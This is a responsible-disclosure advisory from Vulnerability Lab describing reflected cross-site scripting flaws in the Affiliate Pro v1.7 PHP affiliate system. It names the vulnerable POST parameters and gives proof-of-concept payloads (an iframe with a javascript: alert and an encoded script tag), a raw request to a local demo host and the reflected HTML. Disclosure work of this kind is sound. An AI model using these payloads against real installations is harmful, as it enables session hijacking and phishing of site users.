Document Title: =============== Affiliate Pro v1.7 - Multiple Cross Site Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2281 Release Date: ============= 2022-01-05 Vulnerability Laboratory ID (VL-ID): ==================================== 2281 Common Vulnerability Scoring System: ==================================== 5.1 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Affiliate Pro is a Powerful and yet simple to use PHP affiliate Management System for your new or existing website. Let affiliates sell your products, bring you traffic or even leads and reward them with a commission. More importantly, use Affiliate Pro to track it intelligently to keep your affiliates happy and also your bottom line! So how does it work? It is pretty simple, when a user visits your website through an affiliate URL the responsible affiliate sending the traffic to you will receive a commission based on your settings. (Copy of the Homepage:https://jdwebdesigner.com/ &https://codecanyon.net/item/affiliate-pro-affiliate-management-system/12908496 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple reflected cross site scripting web vulnerabilities in the Affiliate Pro - Affiliate Management System v1.7. Affected Product(s): ==================== jdwebdesigner Product: Affiliate Pro v1.7 - Affiliate Management System (PHP) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-08-22: Researcher Notification & Coordination (Security Researcher) 2021-08-23: Vendor Notification (Security Department) 2021-08-30: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2022-01-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple reflected cross site scripting web vulnerabilities has been discovered in the Affiliate Pro - Affiliate Management System v1.7. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise client-site browser to web-application requests. The non-persistent cross site scripting web vulnerabilities are located in the `email`,`username` and `fullname` parameters of the `index` module. Attackers are able to inject own malicious script code to the `Fullname`,`Username` or `Email` input fields to manipulate client-side requests. The request method to inject is post and the attack vector is non-persistent (reflected) on client-side. The injection- and execution points are located in the index formular for affiliates to enter. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] index Vulnerable Input(s): [+] Email [+] Username [+] Fullname Vulnerable Parameter(s): [+] email [+] username [+] fullname Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue. Exploitation: Payload <iframe src="javascript:alert(1337)"></iframe> %3cscript%3ealert(1337)%3c%2fscript%3 --- PoC Session Logs (POST) --- POST /affiliate-pro-demo/index HTTP/1.1 Host: affiliates-pro.localhost:8000 Origin:http://affiliates-pro.localhost:8000 Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24 Referer:http://affiliates-pro.localhost:8000/affiliate-pro-demo/ Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* - fullname=<iframe src="javascript:alert(1337)"></iframe> &username=<iframe src="javascript:alert(1337)"></iframe>@pwnd.coml00fp%22%3e%3cscript%3ealert(1337)%3c%2fscript%3ewkgzv &p=test&confirmpwd=j2B%21p5o%21K8 - HTTP/1.1 200 OK Server: Apache Set-Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24; path=/; HttpOnly Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 6549 Content-Type: text/html; charset=UTF-8 Vulnerable Source: Index <div class="control-group"> <label class="control-label" for="fullname">Full Name</label> <div class="controls"> <input id="textinput" name="fullname" type="text" placeholder="Full Name" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required="required"> </div> </div> <div class="control-group"> <label class="control-label" for="username">Username</label> <div class="controls"> <input id="textinput" name="username" type="text" placeholder="username" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required> </div> </div> <div class="control-group"> <label class="control-label" for="email">E-Mail Address</label> <div class="controls"> <input id="textinput" name="email" type="email" placeholder="test@provider.com" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required> </div> Security Risk: ============== The security risk of the client-side cross site scripting vulnerabilities in the web-application are estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE